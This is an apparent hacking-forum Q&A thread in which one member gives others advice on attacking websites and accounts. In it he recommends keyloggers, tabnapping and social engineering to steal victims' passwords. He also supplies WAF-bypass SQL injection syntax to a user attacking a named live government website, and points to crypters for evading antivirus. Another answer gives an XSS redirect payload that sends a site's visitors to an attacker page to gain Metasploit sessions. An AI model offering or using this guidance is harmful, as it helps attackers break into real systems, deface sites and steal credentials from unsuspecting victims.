[spirited_wolf™]

Thanks Op ,this is a nice collection

Thanks 🤝 Hope you liked it 👍

---

Keep asking your questions 👍

[Ltyrosine]

Whats harder to hack , An Email account(is gmail harder to hack then a yahoo or hotmail account?) , a Facebook, An app messanger like Whatsapp or an extension of facebook facebook messanger, or a website?

are there any simple hacks to do with any of these sites to be able to exploit certain aspects of the site?

[spirited_wolf™]

Whats harder to hack , An Email account(is gmail harder to hack then a yahoo or hotmail account?) , a Facebook, An app messanger like Whatsapp or an extension of facebook facebook messanger, or a website?

are there any simple hacks to do with any of these sites to be able to exploit certain aspects of the site?

Nothing is harder if you have a particular exploit for the particular vulnerabilities, but every thing will be hard if you have no exploit 👍

Due to more development in their products iT almost around 60% impossible to hack these stuffs. But you can use Tab napping or key logger or social engineering for obtaining passwords of your victim 🎉

Thanks 🤝

[Angel shanu]

No problem mate keep learning 👍

Sharing is learning 👍

Thanks 🤝

sir why i am not able to dump table name in this website:: http://bpc.gov.bd/contactus.php?id=10

i tried table_name from information_Schema.columns but its not working

[spirited_wolf™]

sir why i am not able to dump table name in this website:: http://bpc.gov.bd/contactus.php?id=10

i tried table_name from information_Schema.columns but its not working

Sure actually this website is protected with waf so,here you go mate 👍

https://ghostbin.com/paste/7qz37

We can use this 🎉

PHP Code


<?php 
/*!12345t able_name*/
/*!12345c olumn_name*/
/*!12345information_schema*/
/*!12345form*/ 


Thanks 🤝

[gravitex]

any cheap crypting services? / undetected crypters that are cheap or pub

[spirited_wolf™]

any cheap crypting services? / undetected crypters that are cheap or pub

You should talk with Gegi else you can download

some crypter from here:-
1.CryptEx

2.Grieve Crypter

Thanks 🤝

[Aakash_Choudhary]

Sir can you tell about RCE and forum hacking and blog hacking ? Any reference for them but with live example.

Also is blogger website hackable? If yes why not news on this
Thanks 😈

[spirited_wolf™]

Sir can you tell about RCE and forum hacking and blog hacking ? Any reference for them but with live example.

Also is blogger website hackable? If yes why not news on this
Thanks 😈

First thing stop doing this i know you very personally and i know that why are you asking question like this on my thread. 😊

1.About RCE:-With Remote Command Execution[RCE] vulnerabilities you can execute commands on the
webserver.Its like OS Command injection my tutorial on OS Command injection is here:-
[Exclusive]OS Command Injection Tutorial-By Spirit [/Noob-friendly]

2.Forum Hacking:-Their are a lot of vulnerabilities. Most of the forums are vulnerable to HTML injection.
Here is tutorial:-Top 10 OWASP-A1 Injection( HTML INJECTION ) Tutorial-By Spirit

and i don't know if blogger is vulnerable but it themes are vulnerable like on my blog:- their is one xxs👍

Thanks 🤝

[Aakash_Choudhary]

How to deface website using xxs ?
Can we shell website using xxs and XSRF/CSRF and XXE ?

If yes tell steps here

Thanks 😈

[3azraiell]

need a free vpn withe portdorwoding ?? can you telle me is ther any good one ?

[spirited_wolf™]

How to deface website using xxs ?
Can we shell website using xxs and XSRF/CSRF and XXE ?

If yes tell steps here

Thanks 😈

Defacing with XSS Vulnerablity:-Initially we can't deface but we can redirect our victim to our malicious page :-suppose using XSSF+Metasploit we can get a meterpreter session of our victims/visitors of the website.Example for redirecting:-

PHP Code


<?php 
<scrip>document . location=’http://spiritvulnerable.com/XSSF_meta’</scrip> 


Done now it will redirect our victim to::http://spiritvulnerable.com/XSSF_meta

Defacing with CSRF Vulnerablity:-We can shell website using CSRF but their is only 65% of chances because with CSRF maybe we will get the admin access but what if their is no place to upload anything their. 👍

Defacing with XXE Vulnerablity:-This vulnerability just extract files from a remote server using web requests. But i never saw anything about shelling website using this 😊

Thanks 🤝

---

need a free vpn withe portdorwoding ?? can you telle me is ther any good one ?

If you want VPN for normal use then i will suggest check:- OpenVpn or VPNbook , else on HackForum marketplace you will find some more VPN providers 👍

Thanks 🤝

[Aakash_Choudhary]

Hahahaha
Come to the topic

Start

You are wrong about XXE

XXE is base on XML

Mean if application website using is parsing some XML input from unbelievable source then XXE attack comes here

XML Parser :oh: so its mean XML Parser is misconfigured

If you find uploading function in websites then can perform this attack.

XXE can :->

read local files on the server,
access internal networks,
scan internal ports,
execute commands on a remote server

You are good in metasploit exploit right ?
Then here is for you :->

Code

https://github.com/rapid7/metasploit-framework/pull/4585

Thanks 😈

[spirited_wolf™]

Hahahaha
Come to the topic

Start

You are wrong about XXE

XXE is base on XML

Mean if application website using is parsing some XML input from unbelievable source then XXE attack comes here

XML Parser :oh: so its mean XML Parser is misconfigured

If you find uploading function in websites then can perform this attack.

XXE can :->

read local files on the server,
access internal networks,
scan internal ports,
execute commands on a remote server

You are good in metasploit exploit right ?
Then here is for you :->

Code

https://github.com/rapid7/metasploit-framework/pull/4585

Thanks 😈

Thanks but i think you should read my answer again i said we can extract files from a remote server using web requests which means using systems commands 🎉 and i also said i never saw shelling website using XXE because i never tested this vulnerability. 🤝

[Aakash_Choudhary]

Well my brother you are doing a great job here. I was just checking you. I have read the whole this thread and explanation of your about sqli help to angel is very great.If you need my help too than can ping me.

Also there is a member mobile who is brilliant in web hacking stuffs. Contact him to learn more and gain experience

Thanks